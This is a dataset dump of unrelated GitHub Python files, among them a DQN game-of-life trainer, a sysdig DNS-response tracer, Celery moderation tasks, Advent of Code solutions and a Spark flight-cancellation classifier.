nn\nimport torch.optim as optim\n\nfrom rlgameoflife import worlds\nfrom rlgameoflife import actions\nfrom rlgameoflife import models\n\n\nTransition = namedtuple(\"Transition\", (\"state\", \"action\", \"next_state\", \"reward\"))\n\n\nclass ReplayMemory(object):\n def __init__(self, capacity):\n self.memory = deque([], maxlen=capacity)\n\n def push(self, *args):\n \"\"\"Save a transition\"\"\"\n self.memory.append(Transition(*args))\n\n def sample(self, batch_size):\n return random.sample(self.memory, batch_size)\n\n def __len__(self):\n return len(self.memory)\n\n\n@dataclass\nclass AgentTrainerParameters:\n batch_size: int = (\n 128 # BATCH_SIZE is the number of transitions sampled from the replay buffer\n )\n gamma: float = (\n 0.99 # GAMMA is the discount factor as mentioned in the previous section\n )\n eps_start: float = 0.9 # is the starting value of epsilon\n eps_end: float = 0.05 # is the final value of epsilon\n eps_decay: int = 1000 # controls the rate of exponential decay of epsilon, higher means a slower decay\n tau: float = 0.005 # is the update rate of the target network\n lr: float = 1e-4 # is the learning rate of the AdamW optimizer\n num_episodes: int = 60\n max_steps_per_episode: int = 400\n eval_each_n_episode: int = 5\n replay_memory_size: int = 10000\n\n\nclass WorldParameters:\n max_ticks: int = 400\n boundaries: tuple[int, int] = (100, 100)\n\n\nclass AgentTrainer:\n def __init__(self, agent_parameters: AgentTrainerParameters) -> None:\n self._logger = logging.getLogger(__class__.__name__)\n self.world_parameters = WorldParameters()\n self.hyperparameters = agent_parameters\n\n self.world = worlds.BasicAgentWorld(\n self.world_parameters.max_ticks,\n \"outputs\",\n self.world_parameters.boundaries,\n disable_history=True,\n )\n self.eval_world = worlds.BasicEvalWorldAgent(\n self.world_parameters.max_ticks,\n \"outputs\",\n self.world_parameters.boundaries,\n disable_history=True,\n )\n self.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n # Get number of actions from gym action space\n n_actions = len(self.world.action_space)\n # Get the number of state observations\n observation = self.world.get_observation()\n n_observations = observation.shape[0]\n\n self.policy_net = models.DQN(n_observations, n_actions).to(self.device)\n self.target_net = models.DQN(n_observations, n_actions).to(self.device)\n self.target_net.load_state_dict(self.policy_net.state_dict())\n\n self.optimizer = optim.AdamW(\n self.policy_net.parameters(), lr=self.hyperparameters.lr, amsgrad=True\n )\n self.memory = ReplayMemory(self.hyperparameters.replay_memory_size)\n\n self.steps_done = 0\n\n def _select_action(self, state):\n return self.policy_net(state).max(1)[1].view(1, 1)\n\n def select_action(self, state, training: bool = True):\n if not training:\n return self._select_action(state)\n sample = random.random()\n eps_threshold = self.hyperparameters.eps_end + (\n self.hyperparameters.eps_start - self.hyperparameters.eps_end\n ) * math.exp(-1.0 * self.steps_done / self.hyperparameters.eps_decay)\n self.steps_done += 1\n if sample > eps_threshold:\n with torch.no_grad():\n # t.max(1) will return the largest column value of each row.\n # second column on max result is index of where max element was\n # found, so we pick action with the larger expected reward.\n return self._select_action(state)\n else:\n return torch.tensor(\n [[actions.sample(self.world.action_space)]],\n device=self.device,\n dtype=torch.long,\n )\n\n def optimize_model(self) -> float:\n if len(self.memory) < self.hyperparameters.batch_size:\n return\n transitions = self.memory.sample(self.hyperparameters.batch_size)\n # Transpose the batch (see https://stackoverflow.com/a/19343/3343043 for\n # detailed explanation). This converts batch-array of Transitions\n # to Transition of batch-arrays.\n batch = Transition(*zip(*transitions))\n\n # Compute a mask of non-final states and concatenate the batch elements\n # (a final state would've been the one after which simulation ended)\n non_final_mask = torch.tensor(\n tuple(map(lambda s: s is not None, batch.next_state)),\n device=self.device,\n dtype=torch.bool,\n )\n non_final_next_states = torch.cat(\n [s for s in batch.next_state if s is not None]\n )\n state_batch = torch.cat(batch.state)\n action_batch = torch.cat(batch.action)\n reward_batch = torch.cat(batch.reward)\n\n # Compute Q(s_t, a) - the model computes Q(s_t), then we select the\n # columns of actions taken. These are the actions which would've been taken\n # for each batch state according to policy_net\n state_action_values = self.policy_net(state_batch).gather(1, action_batch)\n\n # Compute V(s_{t+1}) for all next states.\n # Expected values of actions for non_final_next_states are computed based\n # on the \"older\" target_net; selecting their best reward with max(1)[0].\n # This is merged based on the mask, such that we'll have either the expected\n # state value or 0 in case the state was final.\n next_state_values = torch.zeros(\n self.hyperparameters.batch_size, device=self.device\n )\n with torch.no_grad():\n next_state_values[non_final_mask] = self.target_net(\n non_final_next_states\n ).max(1)[0]\n # Compute the expected Q values\n expected_state_action_values = (\n next_state_values * self.hyperparameters.gamma\n ) + reward_batch\n\n # Compute Huber loss\n criterion = nn.SmoothL1Loss()\n loss = criterion(state_action_values, expected_state_action_values.unsqueeze(1))\n\n # Optimize the model\n self.optimizer.zero_grad()\n loss.backward()\n # In-place gradient clipping\n torch.nn.utils.clip_grad_value_(self.policy_net.parameters(), 100)\n self.optimizer.step()\n\n return loss.item()\n\n def train(self, save_final_eval: bool = True):\n episode_bar = tqdm(range(self.hyperparameters.num_episodes))\n eval_rewards = None\n for episode in episode_bar:\n # Initialize the environment and get it's state\n state = self.world.get_observation()\n state = torch.tensor(\n state, dtype=torch.float32, device=self.device\n ).unsqueeze(0)\n self.policy_net.train()\n for t in range(self.hyperparameters.max_steps_per_episode):\n action = self.select_action(state)\n step_parameters = self.world.step(\n self.world.action_space(action.item())\n )\n reward = torch.tensor([step_parameters.reward], device=self.device)\n # done = step_parameters.terminated or step_parameters.truncated\n\n if step_parameters.terminated:\n next_state = None\n else:\n next_state = torch.tensor(\n step_parameters.observation,\n dtype=torch.float32,\n device=self.device,\n ).unsqueeze(0)\n\n # Store the transition in memory\n self.memory.push(state, action, next_state, reward)\n\n # Move to the next state\n state = next_state\n\n # Perform one step of the optimization (on the policy network)\n self.optimize_model()\n\n # Soft update of the target network's weights\n # θ′ ← τ θ + (1 −τ )θ′\n target_net_state_dict = self.target_net.state_dict()\n policy_net_state_dict = self.policy_net.state_dict()\n for key in policy_net_state_dict:\n target_net_state_dict[key] = policy_net_state_dict[\n key\n ] * self.hyperparameters.tau + target_net_state_dict[key] * (\n 1 - self.hyperparameters.tau\n )\n self.target_net.load_state_dict(target_net_state_dict)\n\n episode_bar.set_description(\n f\"Train | Episode {episode} | Step {t} / {self.hyperparameters.max_steps_per_episode} | Eval reward {eval_rewards}\"\n )\n\n if (\n self.hyperparameters.eval_each_n_episode > 0\n and episode % self.hyperparameters.eval_each_n_episode == 0\n and episode != self.hyperparameters.num_episodes - 1\n ):\n eval_rewards = self.evaluate()\n self.world.reset()\n final_rewards = self.evaluate(save_history=save_final_eval)\n self._logger.info(\"Training complete.\")\n return final_rewards\n\n def evaluate(self, save_history: bool = False) -> int:\n if save_history:\n self.eval_world.enable_history()\n else:\n self.eval_world.disable_history()\n self.eval_world.reset()\n\n # Initialize the environment and get it's state\n state = self.eval_world.get_observation()\n state = torch.tensor(state, dtype=torch.float32, device=self.device).unsqueeze(\n 0\n )\n episode_reward = 0\n self.policy_net.eval()\n for t in range(self.hyperparameters.max_steps_per_episode):\n with torch.no_grad():\n action = self.select_action(state, training=False)\n step_parameters = self.eval_world.step(\n self.eval_world.action_space(action.item())\n )\n # done = step_parameters.terminated or step_parameters.truncated\n\n if step_parameters.terminated:\n next_state = None\n else:\n next_state = torch.tensor(\n step_parameters.observation,\n dtype=torch.float32,\n device=self.device,\n ).unsqueeze(0)\n\n # Move to the next state\n state = next_state\n episode_reward += step_parameters.reward\n\n self.eval_world.save_history()\n return episode_reward\n","repo_name":"hlemoine3000/rlgameoflife","sub_path":"rlgameoflife/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":10828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"12154501051","text":"#!/usr/bin/python3\n\n# dnsdig.py by zizzu 2020\n# extract dns responses bytes from recvfrom syscall buffer via sysdig\n# parse the output via python and translate bytes to human readable form via dnslib\n# remove the inner if inside the for loop to show all the responses instead of a summary\n\nimport shlex\nimport dnslib\nimport base64\nimport subprocess\n\nserver=\"8.8.8.8\" # your dns server use: and (fd.sip=... or fd.sip=...) for multiple dns addresses\ncommand=f'sysdig -b -s 1000 -p\"%evt.buffer\" evt.type=recvfrom and fd.l4proto=udp and fd.sip={server} and fd.sport=53 and evt.dir=\\<'\n\ndef run_command(cmd):\n mem = []\n process = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE)\n while True:\n output = process.stdout.readline()\n if output == '' and process.poll() is not None:\n break\n if output:\n b64_string = output.strip().decode('ascii')\n b64_string += '=' * (-len(b64_string) % 4)\n hex_string = base64.b64decode(b64_string)\n try:\n d = dnslib.DNSRecord.parse(hex_string)\n for rr in d.rr:\n if rr not in mem:\n mem.append(rr)\n print(rr)\n except Exception as e:\n print(str(e))\n rc = process.poll()\n return rc\n\nrun_command(command)\n","repo_name":"zizzu0/Linux-Tracing","sub_path":"dnsdig.py","file_name":"dnsdig.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"26884569990","text":"from .models import Meme\nfrom zoneinfo import ZoneInfo\nfrom datetime import datetime\nfrom LilSholex import celery_app\nfrom django.conf import settings\n\n\n@celery_app.task\ndef revoke_review(meme_id: int):\n try:\n target_meme = Meme.objects.get(id=meme_id, reviewed=False, status=Meme.Status.ACTIVE)\n except Meme.DoesNotExist:\n return\n target_meme.assigned_admin = None\n target_meme.save()\n\n\n@celery_app.task\ndef check_meme(meme_id: int):\n try:\n meme = Meme.objects.get(id=meme_id, status=Meme.Status.PENDING)\n except Meme.DoesNotExist:\n return\n if datetime.now(ZoneInfo('Asia/Tehran')).hour < 8:\n meme.task_id = check_meme.apply_async((meme_id,), countdown=settings.CHECK_MEME_COUNTDOWN)\n meme.save()\n return\n accept_count = meme.accept_vote.count()\n deny_count = meme.deny_vote.count()\n if accept_count == deny_count == 0:\n meme.task_id = check_meme.apply_async((meme_id,), countdown=settings.CHECK_MEME_COUNTDOWN)\n meme.save()\n else:\n if accept_count >= deny_count:\n meme.accept()\n else:\n meme.deny()\n","repo_name":"Sholex-Team/LilSholex","sub_path":"persianmeme/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"90"} +{"seq_id":"37077679232","text":"import cv2\n\nfrom ultralytics import YOLO\nfrom ultralytics.utils.plotting import Annotator\n\n# Load a model\nmodel = YOLO(\"best.pt\")\n\n# Use the model\nfor file in [\"plage.jpg\", \"pb1.webp\", \"pb2.webp\", \"pb3.jpeg\", \"pb4.webp\", \"pb5.jpeg\", \"bp1.webp\", \"bp2.avif\"]:\n img = cv2.imread(f\"/Users/robin/Downloads/{file}\") # predict on an image\n\n results = model.predict(img)\n for res in results:\n annotator = Annotator(img)\n boxes = res.boxes\n for box in boxes:\n b = box.xyxy[0]\n print(b)\n c = box.cls\n annotator.box_label(b, model.names[int(c)])\n\n img = annotator.result()\n cv2.imshow('Detection', img)\n cv2.waitKey(0)\n# path = model.export(format=\"onnx\") # export the model to ONNX format\n","repo_name":"RobinDong/mammals_detection","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"19022028084","text":"# coding: utf-8\nimport json\nimport optparse\nimport sys\n\nimport requests\n\nfrom acmd import USER_ERROR, SERVER_ERROR, OK\nfrom acmd import tool, error\nfrom acmd.workflows import WorkflowsApi\n\nfrom .tool_utils import get_argument, get_action\n\n\nparser = optparse.OptionParser(\"acmd workflows [options] [list|start]\")\nparser.add_option(\"-r\", \"--raw\",\n action=\"store_const\", const=True, dest=\"raw\",\n help=\"output raw response data\")\n\nMODELS_PATH = \"/etc/workflow/models.json\"\nINSTANCES_PATH = '/etc/workflow/instances'\n\n\n@tool('workflow', ['list', 'start'])\nclass WorkflowsTool(object):\n \"\"\"\n See: https://docs.adobe.com/docs/en/cq/5-6-1/workflows/wf-extending/wf-rest-api.html\n\n\n \"\"\"\n\n @staticmethod\n def execute(server, argv):\n options, args = parser.parse_args(argv)\n action = get_action(args)\n actionarg = get_argument(args)\n\n api = WorkflowsApi(server)\n if action == 'models' or action == 'md':\n return list_workflow_models(server, options)\n elif action == 'instances' or action == 'in':\n return list_workflow_instances(api, 'COMPLETED')\n elif action == 'start':\n\n model = actionarg\n if len(args) >= 4:\n path = get_argument(args, i=3)\n status, output = api.start_workflow(model, path)\n sys.stdout.write(\"{}\\n\".format(output))\n return status\n else:\n ret = OK\n for path in sys.stdin:\n status, output = api.start_workflow(model, path.strip())\n if status == OK:\n sys.stdout.write(\"{}\\n\".format(output))\n ret = ret | status\n return ret\n else:\n error('Unknown workflows action {a}\\n'.format(a=action))\n return USER_ERROR\n\n\ndef _get_name(model):\n name = model.replace('/etc/workflow/models/', '').\\\n replace('/jcr:content/model', '')\n return name\n\n\ndef list_workflow_models(server, options):\n url = server.url(MODELS_PATH)\n resp = requests.get(url, auth=server.auth)\n if resp.status_code != 200:\n error(\"Unexpected error code {code}: {content}\".format(\n code=resp.status_code, content=resp.content))\n return SERVER_ERROR\n data = json.loads(resp.content)\n if options.raw:\n sys.stdout.write(json.dumps(data, indent=4))\n else:\n for model_item in data:\n model_name = _get_name(model_item['uri'])\n sys.stdout.write(\"{}\\n\".format(model_name))\n return OK\n\n\ndef list_workflow_instances(api, mode):\n status, data = api.get_instances(mode)\n if status != OK:\n error(data)\n else:\n for instance in data:\n sys.stdout.write(\"{}\\n\".format(instance['uri']))\n return status\n","repo_name":"daniespr/aem-cmd","sub_path":"acmd/tools/workflows.py","file_name":"workflows.py","file_ext":"py","file_size_in_byte":2847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"90"} +{"seq_id":"71210342377","text":"def part1(file):\n with open(file, 'r') as f:\n line = f.readline()\n lanternfish = line.strip().split(',')\n lanternfish = [int(num) for num in lanternfish]\n for j in range(80):\n for i in range(len(lanternfish)):\n if lanternfish[i] > 0:\n lanternfish[i] -= 1\n elif lanternfish[i] == 0:\n lanternfish[i] = 6\n lanternfish.append(8)\n print(len(lanternfish))\n\n\nfrom collections import defaultdict\n\ndef part2(file):\n with open(file, 'r') as f:\n line = f.readline()\n lanternfish = line.strip().split(',')\n lanternfish = [int(num) for num in lanternfish]\n by_days = defaultdict(int)\n for fish in lanternfish: #create a dictionary with count according to no of days left\n if fish not in by_days:\n by_days[fish] = 0\n by_days[fish] += 1\n\n for day in range(256):\n final = defaultdict(int)\n for fish, count in by_days.items():\n if fish == 0:\n final[6] += count\n final[8] += count\n else:\n final[fish - 1] += count\n \n\n by_days = final\n print(sum(by_days.values()))\n \n\n#part1('day5_data.txt')\npart2('day6_data.txt')","repo_name":"ArpanGyawali/Advent_of_code_2021","sub_path":"day_6.py","file_name":"day_6.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"90"} +{"seq_id":"6635764459","text":"from a1_partb import SetList\n\nclass DisjointSet:\n def __init__(self):\n self.parent = {}\n self.num_sets = 0\n \n def make_set(self, element):\n if element in self.parent:\n return False\n self.parent[element] = {'parent': element, 'size': 1} # initialize size to 1\n self.num_sets += 1\n return True\n\n def find_set(self, element):\n if element not in self.parent:\n return None\n if self.parent[element]['parent'] == element:\n return element\n self.parent[element]['parent'] = self.find_set(self.parent[element]['parent'])\n return self.parent[element]['parent']\n\n def union_set(self, element1, element2):\n root1 = self.find_set(element1)\n root2 = self.find_set(element2)\n if root1 is None or root2 is None or root1 == root2:\n return False\n if self.parent[root1]['size'] < self.parent[root2]['size']:\n root1, root2 = root2, root1\n self.parent[root2]['parent'] = root1\n self.parent[root1]['size'] += self.parent[root2]['size']\n self.num_sets -= 1\n return True\n \n def get_set_size(self, element):\n root = self.find_set(element)\n if root is None:\n return 0\n return self.parent[root]['size']\n \n def get_num_sets(self):\n return self.num_sets\n \n def __len__(self):\n count = 0\n for i in self.parent:\n count += 1\n return count\n","repo_name":"ThuyQuyenDo/a3-g2-a3-kyuen16-tdo20-main","sub_path":"a1_partc.py","file_name":"a1_partc.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"26447886065","text":"# _*_ coding: utf-8 _*_\n\"\"\"\n# @Time : 2021/2/20 17:01 \n# @Author : River \n# @File : douban.py\n# @desc :\n\"\"\"\nimport requests\nfrom bs4 import BeautifulSoup\n\nmovies_list = []\n\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',\n 'Host': 'movie.douban.com'}\nr = requests.get(url='https://movie.douban.com/top250?start=75', headers=headers)\n\nsoup = BeautifulSoup(r.text, 'lxml')\nol_list = soup.find_all('div', class_='info')\nfor each in ol_list:\n title = each.div.a.span.text.strip()\n # english_title = each.div.a.span.span.text.strip()\n is_play = each.div.span\n movie = {'片名': title, '英文名': 1, '播放源': is_play}\n movies_list.append(movie)\nprint(movies_list)\n","repo_name":"MoonlightHec/camp","sub_path":"study/spider/douban.py","file_name":"douban.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"18487802239","text":"n = int(input())\nXYH = [tuple(map(int, input().split())) for _ in range(n)]\nfor cx in range(101):\n for cy in range(101):\n H = set()\n for x, y, h in XYH:\n if h == 0:\n continue\n H.add(h + abs(x - cx) + abs(y - cy))\n if len(H) != 1:\n continue\n H = list(H)[0]\n flag = True\n for x, y, h in XYH:\n if h != max(H - abs(x - cx) - abs(y - cy), 0):\n flag = False\n break\n if flag:\n print(cx, cy, H)\n","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p03240/s884903198.py","file_name":"s884903198.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"21354182765","text":"from __future__ import annotations\nimport jax.numpy as jnp\n\nfrom typing import Optional\n\nfrom .gate import Gate\n\nclass Oracle(Gate):\n \"\"\"A class representing an oracle gate\"\"\"\n def __init__(self, matrix: jnp.ndarray, name: Optional[str] = None):\n \"\"\"create an oracle from a matrix\n\n Args:\n matrix (jnp.ndarray): matrix representing the oracle\n name (Optional[str], optional): name of the gate. Defaults to None.\n \"\"\"\n super().__init__(matrix, name)\n self.name = (name or \"Oracle\").title()\n\n @staticmethod\n def from_table(table: jnp.ndarray) -> Oracle:\n \"\"\"create an oracle from a table of values\n\n Args:\n table (jnp.ndarray): a jax array of values where table[i] == f(i)\n\n Returns:\n Oracle: an oracle that returns (x kron f(x) ^ y)\n \"\"\"\n # calculate the number of qubits\n n = int(jnp.log2(len(table)))\n # create an oracle to operate on n + 1 qubits\n U = jnp.zeros((2**(n + 1), 2**(n + 1)))\n for x in range(2**n):\n # look up the value of f(x)\n y = table[x]\n # set the value of the oracle\n U = U.at[x * 2, x * 2].set(1 - y)\n U = U.at[x * 2 + 1, x * 2 + 1].set(1 - y)\n U = U.at[x * 2, x * 2 + 1].set(y)\n U = U.at[x * 2 + 1, x * 2].set(y)\n return Oracle(U)\n\n @property\n def n(self) -> int:\n # return the number of qubits the oracle operates on\n return super().n - 1","repo_name":"George-Ogden/quantum","sub_path":"quantum/gates/oracle.py","file_name":"oracle.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"90"} +{"seq_id":"23046553231","text":"'''\n35. Search Insert Position\nEasy\n\nGiven a sorted array and a target value, return the index if the target is found. If not, return the index where it would be if it were inserted in order.\n\nYou may assume no duplicates in the array.\n\nExample 1:\n\nInput: [1,3,5,6], 5\nOutput: 2\n\nhttps://leetcode.com/problems/search-insert-position/\n'''\nclass Solution:\n def searchInsert(self, nums: List[int], target: int) -> int:\n l, h = 0, len(nums)-1\n while l < h:\n mid = (l+h)//2\n if nums[mid] == target:\n return mid\n elif nums[mid] < target:\n l = mid + 1\n else:\n h = mid\n if l == len(nums) - 1 and target > nums[-1]:\n return len(nums) \n return l\n # for i,n in enumerate(nums):\n # if n > target or n == target:\n # return i\n # return i+1\n","repo_name":"aditya-doshatti/Leetcode","sub_path":"search_insert_position_35.py","file_name":"search_insert_position_35.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"70007603816","text":"from util import calculate_stitches_new, write_csv_with_headings\nimport pandas as pd\nimport numpy as np\n\n# Example building of list of lists of temperatures to be replaced\ntemps_list_1 = [10.8, 10.8, 11.9, 13.5, 13.9, 15, 17, 15.9, 19.1, 17.8,\n 14.4, 18.5, 15.8, 15.3, 14.4, 12.2, 12.1, 12.8, 12.6,\n 12.4, 11.9, 11.5, 11.9, 12]\ntemps_list_2 = [13.8, 13, 13.1, 15.2, 17.9, 21.5, 21.8, 21.8, 21.5, \n 21, 20.3, 19.3, 18, 17.4, 15.4, 12.9, 10.8, 8.4, 7.6, \n 7.7, 8.1, 8.2, 9, 10.2]\n\ndf = pd.read_csv('raw_data.csv')\n\n# Step 2: Set the 'Date' column as the index (if it's not already the index)\n# This step is necessary to use the .loc attribute with the date index.\ndf.set_index('Date', inplace=True)\n\n# Step 3: Pull data from the row with the specified index '26 juillet 2023'\nrow_26_juillet_2023 = df.loc['26 juillet 2023']\n\n# Step 4: Display the data from the row\nprint(row_26_juillet_2023)\n\n#Get list_of_lists_from_suleyman from suleyman\nlist_of_lists_from_suleyman = [temps_list_1, temps_list_2]\n\nfrom config import *\nfrom util import *\n\n# grab all raw data\ncsv_data = pd.read_csv(RAW_DATA_FILE_NAME, index_col=0)\n\n# calculate mins, maxs, and hours colder/hotter than the mean\n# def calculate_stitches(temps_list: list[float]) -> tuple[int, int]:\ndata_as_list = csv_data.values.tolist()\nhot_cold_stitches = calculate_stitches_new(data_as_list)\nprint(write_csv_with_headings(hot_cold_stitches, csv_data.index.to_list()))\n","repo_name":"Sulles/france-weather-scrapper","sub_path":"example_use.py","file_name":"example_use.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"18351575259","text":"from sys import stdin\n\nn = int(stdin.readline().rstrip())\nA = [int(a) for a in stdin.readline().rstrip().split()]\n\nA = [float(a) for a in A]\n\ntotal = 0.\n\nfor a in A:\n total += 1/a\n\nprint(1/total)","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p02934/s058096410.py","file_name":"s058096410.py","file_ext":"py","file_size_in_byte":198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"6315339575","text":"from pyspark.sql import SparkSession\nfrom pyspark import SparkConf, SparkContext\nimport time\nimport pyspark.sql.functions as F\nfrom pyspark.ml.classification import LogisticRegression, RandomForestClassifier, LinearSVC, DecisionTreeClassifier\nfrom pyspark.mllib.util import MLUtils\nfrom pyspark.ml.feature import OneHotEncoder, StringIndexer, StandardScaler, VectorAssembler, SQLTransformer, IndexToString, VectorIndexer\nfrom pyspark.mllib.evaluation import MulticlassMetrics\nfrom pyspark.ml import Pipeline, PipelineModel\n\n\n# the initial year for training data\ninit_year = 2000\n\n# the label column\ntarget_col = 'Cancelled'\n# the feature column\ncate_cols = ['Month', 'DayofMonth', 'DayOfWeek', 'CRSDepTime', 'CRSArrTime', 'UniqueCarrier', 'FlightNum', 'CRSElapsedTime', 'Origin', 'Dest', 'Cancelled']\n# the list of the model method: logistic regression, svm, random forest, decision tree\nMethodlist = ['lr', 'svm', 'rf', 'dt']\n# the used algorithm\nmethod = Methodlist[2]\n\n# create spark\nspark = SparkSession.builder \\\n .master(\"spark://node01-V1:7077\")\\\n .appName('node03.wusushi.{}'.format(method))\\\n .config(\"spark.executor.memory\", \"2g\") \\\n .config(\"spark.cores.max\", \"6\") \\\n .getOrCreate()\n\nsc = spark.sparkContext\n\n# show dataframe\ndef dfShow(df):\n\tdf.show()\n\tdf.printSchema()\n\tdf.count()\n\n# load the file and filter the column\ndef dataLoad(file):\n\t# the feature column\n\tcate_cols = ['Month', 'DayofMonth', 'DayOfWeek', 'CRSDepTime', 'CRSArrTime', 'UniqueCarrier', 'FlightNum', \n\t\t\t\t\t'CRSElapsedTime', 'Origin', 'Dest', 'Cancelled']\n\tdf = spark.read.csv(file, header=True, nullValue='NA')\n\t# dfShow()\n\n\tdf = df.select(cate_cols)\n\tdf = df.withColumn('label', df[target_col].cast('float'))\n\tdf = df.filter(df['label'].isNotNull())\n\tdf = df.drop('Cancelled')\n\tcate_cols.pop()\n\tfor col in cate_cols:\n\t\tdf = df.filter(df[col].isNotNull())\n\treturn df\n\n# do undersampling to the data \ndef UnderSampling(df):\n\tmajor_df = df.filter(F.col(\"label\") == 0)\n\tminor_df = df.filter(F.col(\"label\") == 1)\n\tprint(major_df.count(), minor_df.count())\n\tratio = int(major_df.count()/minor_df.count())\n\tprint(\"ratio: {}\".format(ratio))\n\tsampled_majority_df = major_df.sample(False, 1/ratio)\n\tcombined_df_2 = sampled_majority_df.unionAll(minor_df)\n\t#dfShow(combined_df_2)\n\treturn combined_df_2\n\n# preprocess the training data and train the model\ndef dataPreprocessed(df):\n\tindexers = []\n\tencoders = []\n\tvectorinput = []\n\n\tfor col in cate_cols:\n\t\tindexers.append(StringIndexer(inputCol=col, outputCol=\"{}_idx\".format(col), handleInvalid='skip'))\n\t\tencoders.append(OneHotEncoder(inputCol=\"{}_idx\".format(col), outputCol=\"{}_oh\".format(col)))\n\t\tvectorinput.append(\"{}_oh\".format(col))\n\tassembler = VectorAssembler(inputCols = vectorinput, outputCol = \"_features\", handleInvalid='skip')\n\tscaler = StandardScaler(inputCol='_features', outputCol='features', withStd=True, withMean=False)\n\n\t# select model\n\tif method == \"lr\":\n\t\tmodel = LogisticRegression(featuresCol='features', maxIter=5, regParam=0.1)\n\telif method == \"svm\":\n\t\tmodel = LinearSVC(maxIter=15)\n\telif method == \"rf\":\n\t\tmodel = RandomForestClassifier(numTrees=3)\n\telif method == \"dt\":\n\t\tmodel = DecisionTreeClassifier()\n\n\tpreprocessor = Pipeline(stages = indexers + encoders + [assembler, scaler] + [model]).fit(df)\n\tdf = preprocessor.transform(df) \n\tdf.printSchema()\n\treturn preprocessor\n\n# create the model by training data and store the model\ndef modelTraining():\n\tpath = \"hdfs:///user/ubuntu/\"\n\tpaths = []\n\tfor i in range(5):\n\t paths.append(\"{}{}.csv\".format(path, (init_year + i)))\n\n\tdf = dataLoad(paths)\n\tcombined_df_2 = UnderSampling(df)\n\tpreprocessor = dataPreprocessed(combined_df_2)\n\tprint('suss')\n\n\t# store model\n\tpreprocessor.write().overwrite().save(\"{}/wusushi/model_{}\".format(path, method))\n\tprint(\"Save: {}/wusushi/model_{}\".format(path, method))\n\treturn preprocessor, combined_df_2\n\n# evaluate the precision of the model\ndef dataEvaluation(test_df, path, flag):\n\tprint(\"Load: {}/wusushi/model_{}\".format(path, method))\n\tModel = PipelineModel.load(\"{}/wusushi/model_{}\".format(path, method))\n\tpredictions = Model.transform(test_df)\n\tpreds_and_labels = predictions.select(['prediction', 'label'])\n\n\tmetrics = MulticlassMetrics(preds_and_labels.rdd.map(tuple))\n\tprecision = metrics.confusionMatrix().toArray()\n\t# inspect the data source\n\tif flag:\n\t\tprint(\"Validation\")\n\telse:\n\t\tprint(\"Testting Data\")\n\n\t# confusion matrix\n\tprint(precision)\n\tprint(\"TP: {}\\tFP: {}\".format(metrics.truePositiveRate(0.0), metrics.truePositiveRate(1.0)))\n\tprint(\"Precision(0): {}\\tPrecision(1): {}\".format(metrics.precision(label=0.0), metrics.precision(label=1.0)))\n\tprint(\"Recall(0): {}\\tRecall(1): {}\".format(metrics.recall(label=0.0), metrics.recall(label=1.0)))\n\tprint(\"F-score(0): {}\\tF-score(1): {}\".format(metrics.fMeasure(label=0.0), metrics.fMeasure(label=1.0)))\n\tprint(\"Accuracy: {}\".format(metrics.accuracy))\n\t\n\ndef main():\n\t# train the model\n\tpath = \"hdfs:///user/ubuntu/\"\n\tpreprocessor, train_df = modelTraining()\n\n\t# evaluate training data\n\ttrain_df = train_df.randomSplit([0.85, 0.15], 0)[1]\n\tdataEvaluation(train_df, path, 1)\n\n\t# evaluate testing data\n\ttest_df = dataLoad(\"{}2005.csv\".format(path))\n\tdataEvaluation(test_df, path, 0)\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"wusushi/NCTU_BigData","sub_path":"Hw4/Hw4.py","file_name":"Hw4.py","file_ext":"py","file_size_in_byte":5262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"39896452300","text":"\"\"\"\nAuthor: Culver McWhirter\nDate: 09 Sep 2018\nTime: 12:17\n\"\"\"\n\nimport torch\nfrom torchvision import datasets, transforms\nimport numpy as np\n\nimport h5py\n\nfrom tqdm import tqdm\nimport argparse\n\nfrom networks.mnist_convnet import ConvNet, RandomChoiceShear\nfrom audit.nn_audit_utils import gather_neuron_data\n\nimport sys\nimport os\n\n# Command line arguments\nparser = argparse.ArgumentParser(description='Gather neuron activations from hidden fully-connected layers')\n\nparser.add_argument('--batch-size', type=int, default=64,\n\thelp='batch size for neural network input (default=64)')\n\nparser.add_argument('--model-path', type=str, required=True,\n\thelp='relative path (from curent directory) to load Pytorch model from (required)')\n\nparser.add_argument('--save-path', type=str, required=True,\n\thelp='relative path (from current directory) to save neuron data to (required)')\n\nparser.add_argument('--train', action='store_true',\n\thelp='collect neuron data on the train 